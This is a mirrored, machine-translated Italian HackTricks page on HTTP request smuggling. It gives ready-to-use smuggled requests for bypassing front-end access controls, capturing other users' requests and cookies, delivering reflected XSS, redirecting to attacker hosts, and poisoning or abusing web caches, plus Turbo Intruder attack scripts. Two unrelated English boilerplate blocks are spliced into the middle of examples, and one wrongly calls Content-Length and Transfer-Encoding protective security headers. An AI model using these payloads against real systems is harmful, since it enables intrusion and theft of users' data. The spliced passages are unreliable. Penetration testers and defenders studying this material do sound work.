Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md
Translator workflow 99e7865a3e Translated to Italian
2024-02-10 13:03:23 +00:00

39 KiB
Raw Blame History

HTTP Request Smuggling / Attacco di desincronizzazione HTTP

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cos'è

Questa vulnerabilità si verifica quando una desincronizzazione tra i proxy front-end e il server back-end consente a un attaccante di inviare una richiesta HTTP che verrà interpretata come una singola richiesta dai proxy front-end (bilanciamento del carico/reverse-proxy) e come 2 richieste dal server back-end.
Ciò consente a un utente di modificare la prossima richiesta che arriva al server back-end dopo la sua.

Teoria

Specifiche RFC (2161)

Se un messaggio viene ricevuto con sia un campo di intestazione Transfer-Encoding che un campo di intestazione Content-Length, quest'ultimo DEVE essere ignorato.

Content-Length

L'intestazione dell'entità Content-Length indica la dimensione dell'entità-corpo, in byte, inviata al destinatario.

Transfer-Encoding: chunked

L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.
Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk

Realtà

Il front-end (un bilanciamento del carico / reverse proxy) elabora l'intestazione content-length o transfer-encoding e il server back-end elabora l'altra provocando una desincronizzazione tra i 2 sistemi.
Ciò potrebbe essere molto critico poiché un attaccante sarà in grado di inviare una richiesta al proxy inverso che verrà interpretata dal server back-end come 2 richieste diverse. Il pericolo di questa tecnica risiede nel fatto che il server back-end interpreterà la seconda richiesta iniettata come se fosse arrivata dal cliente successivo e la richiesta reale di quel cliente farà parte della richiesta iniettata.

Particolarità

Ricorda che in HTTP un carattere di nuova riga è composto da 2 byte:

  • Content-Length: Questa intestazione utilizza un numero decimale per indicare il numero di byte del corpo della richiesta. Il corpo deve terminare nell'ultimo carattere, non è necessaria una nuova riga alla fine della richiesta.
  • Transfer-Encoding: Questa intestazione utilizza nel corpo un numero esadecimale per indicare il numero di byte del prossimo chunk. Il chunk deve terminare con una nuova riga, ma questa nuova riga non viene conteggiata dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un chunk di dimensione 0 seguito da 2 nuove righe: 0
  • Connection: Sulla base della mia esperienza, è consigliabile utilizzare Connection: keep-alive nella prima richiesta di Request Smuggling.

Esempi di base

Gli attacchi di request smuggling vengono creati inviando richieste ambigue che sfruttano le discrepanze nella modalità in cui i server front-end e back-end interpretano le intestazioni Content-Length (CL) e Transfer-Encoding (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come CL.TE, TE.CL e TE.TE. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a queste intestazioni. Le vulnerabilità derivano dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

Esempi di base dei tipi di vulnerabilità

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilità CL.TE (Content-Length utilizzato da Front-End, Transfer-Encoding utilizzato da Back-End)

  • Front-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Back-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Scenario di attacco:
  • L'attaccante invia una richiesta in cui il valore dell'intestazione Content-Length non corrisponde alla lunghezza effettiva del contenuto.
  • Il server front-end inoltra l'intera richiesta al server back-end, in base al valore di Content-Length.
  • Il server back-end elabora la richiesta come chunked a causa dell'intestazione Transfer-Encoding: chunked, interpretando i dati rimanenti come una richiesta separata e successiva.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilità TE.CL (Transfer-Encoding utilizzato da Front-End, Content-Length utilizzato da Back-End)

  • Front-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Back-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Scenario di attacco:
  • L'attaccante invia una richiesta chunked in cui la dimensione del chunk (7b) e la lunghezza effettiva del contenuto (Content-Length: 4) non sono allineate.
  • Il server front-end, rispettando Transfer-Encoding, inoltra l'intera richiesta al server back-end.
  • Il server back-end, rispettando Content-Length, elabora solo la parte iniziale della richiesta (7b byte), lasciando il resto come parte di una successiva richiesta non intenzionale.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con obfuscation)

  • Server: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato a ignorarlo tramite obfuscation.
  • Scenario di attacco:
  • L'attaccante invia una richiesta con intestazioni di Transfer-Encoding obfuscate.
  • A seconda di quale server (front-end o back-end) non riconosce l'obfuscation, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
  • La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando a un smuggling.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End):

  • Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione Content-Length.
  • Questo scenario di solito non porta a smuggling, poiché c'è un'allineamento su come entrambi i server interpretano la lunghezza della richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Richiesta normale

Scenario CL != 0:

  • Si riferisce a scenari in cui l'intestazione Content-Length è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto.
  • È fondamentale per comprendere e creare attacchi di smuggling, poiché influenza il modo in cui i server determinano la fine di una richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo non vuoto

Forzatura tramite intestazioni hop-by-hop

Sfruttando le intestazioni hop-by-hop, è possibile indicare al proxy di eliminare l'intestazione Content-Length o Transfer-Encoding in modo che sia possibile abusare di una richiesta HTTP smuggling.

Connection: Content-Length

Per ulteriori informazioni sulle intestazioni hop-by-hop, visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Individuazione di HTTP Request Smuggling

Spesso è possibile individuare le vulnerabilità di HTTP request smuggling utilizzando tecniche di temporizzazione, che si basano sull'osservazione del tempo impiegato dal server per rispondere alle richieste manipolate. Queste tecniche sono particolarmente utili per rilevare le vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere utilizzati per individuare tali vulnerabilità:

Individuazione delle vulnerabilità CL.TE utilizzando tecniche di temporizzazione

  • Metodo:
  • Invia una richiesta che, se l'applicazione è vulnerabile, farà sì che il server di back-end attenda ulteriori dati.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Osservazione:

  • Il server di front-end elabora la richiesta in base a Content-Length e interrompe prematuramente il messaggio.

  • Il server di back-end, che si aspetta un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.

  • Indicatori:

  • Timeout o lunghi ritardi nella risposta.

  • Ricezione di un errore 400 Bad Request dal server di back-end, talvolta con informazioni dettagliate sul server.

Individuazione delle vulnerabilità TE.CL utilizzando tecniche di temporizzazione

  • Metodo:
  • Invia una richiesta che, se l'applicazione è vulnerabile, farà sì che il server di back-end attenda ulteriori dati.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il server di front-end elabora la richiesta in base a Transfer-Encoding e inoltra l'intero messaggio.
  • Il server di back-end, che si aspetta un messaggio in base a Content-Length, attende ulteriori dati che non arrivano mai, causando un ritardo.

Altri metodi per individuare le vulnerabilità

  • Analisi differenziale delle risposte:

  • Invia versioni leggermente diverse di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di parsing.

  • Utilizzo di strumenti automatizzati:

  • Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.

  • Test di varianza della lunghezza del contenuto:

  • Invia richieste con valori di Content-Length variabili che non corrispondono alla lunghezza effettiva del contenuto e osserva come il server gestisce tali discrepanze.

  • Test di varianza della codifica di trasferimento:

  • Invia richieste con intestazioni di codifica di trasferimento oscurate o malformate e monitora come i server di front-end e back-end rispondono a tali manipolazioni.

Test di vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è fondamentale verificare se le richieste del client possono essere manipolate. Un metodo semplice consiste nel tentare di alterare le richieste, ad esempio facendo sì che una richiesta a / restituisca una risposta 404. Gli esempi di CL.TE e TE.CL discussi in precedenza in Esempi di base mostrano come alterare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.

Considerazioni chiave

Durante il test delle vulnerabilità di request smuggling interferendo con altre richieste, tieni presente quanto segue:

  • Connessioni di rete distinte: Le richieste "attacco" e "normale" devono essere inviate tramite connessioni di rete separate. Utilizzare la stessa connessione per entrambe non conferma la presenza della vulnerabilità.
  • URL e parametri coerenti: Cerca di utilizzare URL e nomi di parametro identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste verso server di back-end specifici in base all'URL e ai parametri. L'abbinamento di questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
  • Temporizzazione e condizioni di gara: La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", concorre con altre richieste dell'applicazione in corso. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Le applicazioni molto impegnate potrebbero richiedere più tentativi per confermare in modo conclusivo la presenza della vulnerabilità.
  • Sfide del bilanciamento del carico: I server di front-end che agiscono come bilanciatori di carico possono distribuire le richieste su vari sistemi di back-end. Se le richieste "attacco" e "normale" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto non intenzionale sugli utenti: Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non la richiesta "normale" inviata per la rilevazione), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Il test continuo potrebbe interrompere altri utenti, richiedendo un approccio cauto.

Abuso di HTTP Request Smuggling

Per aggirare i controlli di sicurezza del front-end

Eludere la sicurezza del front-end tramite HTTP Request Smuggling

A volte, i proxy di front-end applicano misure di sicurezza, esaminando attentamente le richieste in ingresso. Tuttavia, queste misure possono essere eluse sfruttando HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint restritti. Ad esempio, l'accesso a /admin potrebbe essere vietato esternamente, con il proxy di front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per eludere queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere utilizzato per eludere i controlli di sicurezza del front-end, mirando specificamente al percorso /admin che di solito è protetto dal proxy di front-end:

Esempio di CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell'attacco CL.TE, l'intestazione Content-Length viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta POST iniziale ma non ispeziona la richiesta GET /admin incorporata, consentendo l'accesso non autorizzato al percorso /admin.

Esempio TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell'attacco TE.CL, la richiesta POST iniziale utilizza Transfer-Encoding: chunked, e la successiva richiesta incorporata viene elaborata in base all'intestazione Content-Length. Simile all'attacco CL.TE, il proxy front-end trascura la richiesta nascosta GET /admin, concedendo involontariamente l'accesso al percorso /admin restritto.

Rivelazione della riscrittura della richiesta front-end

Le applicazioni spesso utilizzano un server front-end per modificare le richieste in ingresso prima di inviarle al server back-end. Una modifica tipica consiste nell'aggiungere intestazioni, come X-Forwarded-For: <IP del client>, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per eludere le protezioni o scoprire informazioni o endpoint nascosti.

Per indagare su come un proxy modifica una richiesta, individuare un parametro POST che il back-end ripete nella risposta. Quindi, creare una richiesta, utilizzando questo parametro per ultimo, simile al seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In questa struttura, i componenti successivi della richiesta vengono aggiunti dopo search=, che è il parametro riflesso nella risposta. Questa riflessione esporrà gli header della richiesta successiva.

È importante allineare l'header Content-Length della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.

Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Questo metodo serve principalmente per comprendere le modifiche alla richiesta effettuate dal proxy front-end, svolgendo essenzialmente un'indagine autodiretta.

Catturare le richieste di altri utenti

È fattibile catturare le richieste del prossimo utente aggiungendo una specifica richiesta come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il parametro comment è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina pubblicamente accessibile. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha delle limitazioni. In generale, cattura solo i dati fino al delimitatore del parametro utilizzato nella richiesta smuggled. Per le sottomissioni di form codificate nell'URL, questo delimitatore è il carattere &. Ciò significa che i contenuti catturati dalla richiesta dell'utente vittima si fermeranno al primo &, che potrebbe anche far parte della stringa di query.

Inoltre, è importante notare che questo approccio è anche valido con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Utilizzare l'HTTP request smuggling per sfruttare il Reflected XSS

L'HTTP Request Smuggling può essere sfruttato per sfruttare le pagine web vulnerabili al Reflected XSS, offrendo vantaggi significativi:

  • Non è richiesta alcuna interazione con gli utenti target.
  • Consente lo sfruttamento di XSS in parti della richiesta normalmente non raggiungibili, come gli header della richiesta HTTP.

Nei casi in cui un sito web sia suscettibile al Reflected XSS tramite l'header User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità nel seguente modo:

  1. Inizia una richiesta POST, apparentemente normale, con l'intestazione Transfer-Encoding: chunked per indicare l'inizio del smuggling.
  2. Successivamente, viene inserito un 0, segnando la fine del corpo del messaggio chunked.
  3. Quindi, viene introdotta una richiesta GET smuggled, in cui l'intestazione User-Agent viene iniettata con uno script, <script>alert(1)</script>, che attiva l'XSS quando il server elabora questa richiesta successiva.

Manipolando l'intestazione User-Agent tramite smuggling, il payload elude i normali vincoli della richiesta, sfruttando così la vulnerabilità di XSS riflesso in modo non standard ma efficace.

Utilizzo del smuggling delle richieste HTTP per trasformare un reindirizzamento interno in un reindirizzamento aperto

Sfruttare i reindirizzamenti interni con lo smuggling delle richieste HTTP

Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione Host nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale porta a un reindirizzamento che include la barra:

GET /home HTTP/1.1
Host: normal-website.com

HTTP Request Smuggling

HTTP Request Smuggling is a technique that allows an attacker to manipulate the way a web application parses and interprets HTTP requests. By exploiting inconsistencies in how different components handle these requests, an attacker can bypass security measures and potentially perform malicious actions.

How it works

HTTP Request Smuggling takes advantage of the differences in how front-end and back-end components process HTTP requests. The attack involves sending a specially crafted request that is interpreted differently by these components, leading to a discrepancy in how the request is handled.

The attack typically involves two main steps:

  1. Request Splitting: The attacker sends a request that is split into multiple parts, such as using both the Content-Length and Transfer-Encoding headers. This causes the front-end component to interpret the request in one way, while the back-end component interprets it differently.

  2. Request Smuggling: The attacker manipulates the request in a way that causes the back-end component to process it differently than intended. This can be achieved by using techniques such as adding extra headers, manipulating the request method, or exploiting specific parsing vulnerabilities.

Impact

HTTP Request Smuggling can have various impacts depending on the specific vulnerability being exploited. Some potential consequences include:

  • Request Smuggling: An attacker may be able to bypass security measures, such as authentication or authorization checks, by manipulating the way the request is processed. This can allow them to perform actions on behalf of other users or gain unauthorized access to sensitive information.

  • Cache Poisoning: By manipulating the request headers, an attacker may be able to poison the cache of intermediate proxies or CDN servers. This can lead to the serving of malicious content to other users or cause a denial of service.

  • Request Smuggling Attacks: In some cases, HTTP Request Smuggling can be used to launch other types of attacks, such as Cross-Site Scripting (XSS) or Remote Code Execution (RCE). By manipulating the request in a specific way, an attacker can exploit vulnerabilities in the target application.

Detection and Prevention

Detecting and preventing HTTP Request Smuggling attacks can be challenging due to the complex nature of the attack and the variations in how different components handle requests. However, there are some general techniques that can help mitigate the risk:

  • Security Headers: Implementing security headers, such as Content-Length and Transfer-Encoding, can help prevent request splitting and manipulation.

  • Request Validation: Implementing strict request validation can help identify and block malicious requests that may be part of a smuggling attack.

  • Web Application Firewall (WAF): Utilizing a WAF can help detect and block HTTP Request Smuggling attacks by analyzing the traffic and identifying suspicious patterns.

  • Secure Coding Practices: Following secure coding practices, such as input validation and output encoding, can help prevent vulnerabilities that can be exploited through request smuggling.

References

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando l'HTTP request smuggling per reindirizzare gli utenti verso un sito esterno. Ad esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questa richiesta contrabbandata potrebbe causare il reindirizzamento della successiva richiesta dell'utente elaborata a un sito web controllato dall'attaccante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP Request Smuggling

HTTP Request Smuggling is a technique that allows an attacker to manipulate the way a web application parses and interprets HTTP requests. By exploiting inconsistencies in how different components handle these requests, an attacker can bypass security measures and potentially perform malicious actions.

How it works

HTTP Request Smuggling takes advantage of the differences in how front-end and back-end components process HTTP requests. Typically, a front-end component (such as a load balancer or reverse proxy) and a back-end component (such as a web server or application server) work together to handle incoming requests.

The attack involves sending specially crafted HTTP requests that exploit these differences in processing. The goal is to trick the front-end component into interpreting the request in one way, while the back-end component interprets it differently. This can lead to a variety of security vulnerabilities, such as cache poisoning, session hijacking, or remote code execution.

Techniques

There are several techniques that can be used to perform HTTP Request Smuggling attacks. Some common techniques include:

  • HTTP Request Smuggling via Content-Length: This technique involves manipulating the Content-Length header to confuse the front-end and back-end components into parsing the request differently.

  • HTTP Request Smuggling via Transfer-Encoding: This technique exploits inconsistencies in how the Transfer-Encoding header is handled by different components.

  • HTTP Request Smuggling via Chunked Encoding: This technique involves using chunked encoding to manipulate the way the request is processed by the front-end and back-end components.

  • HTTP Request Smuggling via HTTP Pipelining: This technique takes advantage of the pipelining feature in HTTP to send multiple requests in a single connection, potentially causing confusion in how the requests are processed.

Mitigation

To protect against HTTP Request Smuggling attacks, it is important to implement proper security measures. Some mitigation techniques include:

  • Implementing strict request parsing: Ensure that the front-end and back-end components parse HTTP requests consistently and correctly.

  • Using a secure HTTP proxy: Deploy a secure HTTP proxy that can handle and sanitize incoming requests before they reach the back-end components.

  • Regularly updating and patching software: Keep all software components up to date with the latest security patches to minimize the risk of vulnerabilities.

  • Performing security testing: Regularly conduct security testing, including penetration testing, to identify and address any potential vulnerabilities.

By understanding the techniques used in HTTP Request Smuggling attacks and implementing appropriate mitigation measures, organizations can better protect their web applications from this type of attack.

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante potrebbe compromettere l'utente servendo JavaScript dannoso come risposta.

Utilizzare l'HTTP request smuggling per eseguire il web cache poisoning

Sfruttare il web cache poisoning tramite l'HTTP request smuggling

Il web cache poisoning può essere eseguito se una componente dell'infrastruttura front-end memorizza nella cache i contenuti, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile avvelenare la cache.

In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento agli Esempi di base). Allo stesso modo, è possibile ingannare il server affinché restituisca il contenuto di /index.html come risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una vulnerabilità di reindirizzamento aperto o se c'è un reindirizzamento sul sito verso un reindirizzamento aperto. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di /static/include.js con uno script controllato dall'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono l'aggiornato /static/include.js.

Di seguito è illustrato come sfruttare il cache poisoning combinato con un reindirizzamento sul sito verso un reindirizzamento aperto. L'obiettivo è modificare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall'attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che mira a /post/next?postId=3. Questa richiesta verrà reindirizzata a /post?postId=4, utilizzando il valore dell'intestazione Host per determinare il dominio. Modificando l'intestazione Host, l'attaccante può reindirizzare la richiesta al proprio dominio (reindirizzamento interno a reindirizzamento aperto).

Dopo un avvelenamento socket riuscito, dovrebbe essere avviata una richiesta GET per /static/include.js. Questa richiesta verrà contaminata dalla precedente richiesta di reindirizzamento interno a reindirizzamento aperto e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per /static/include.js servirà il contenuto in cache dello script dell'attaccante, avviando efficacemente un ampio attacco XSS.

Utilizzare l'HTTP request smuggling per eseguire una frode nella cache web

Qual è la differenza tra l'avvelenamento della cache web e la frode nella cache web?

  • Nell'avvelenamento della cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
  • Nella frode nella cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache e l'attaccante recupera poi questi contenuti dalla cache.

L'attaccante crea una richiesta nascosta che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa richiesta contrabbandata avvelena una voce nella cache destinata a contenuti statici (ad esempio, /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella voce della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

Armati di HTTP Request Smuggling con la desincronizzazione delle risposte HTTP

Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla? Prova questo altro metodo di sfruttamento:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Script Turbo Intruder

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Strumenti

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: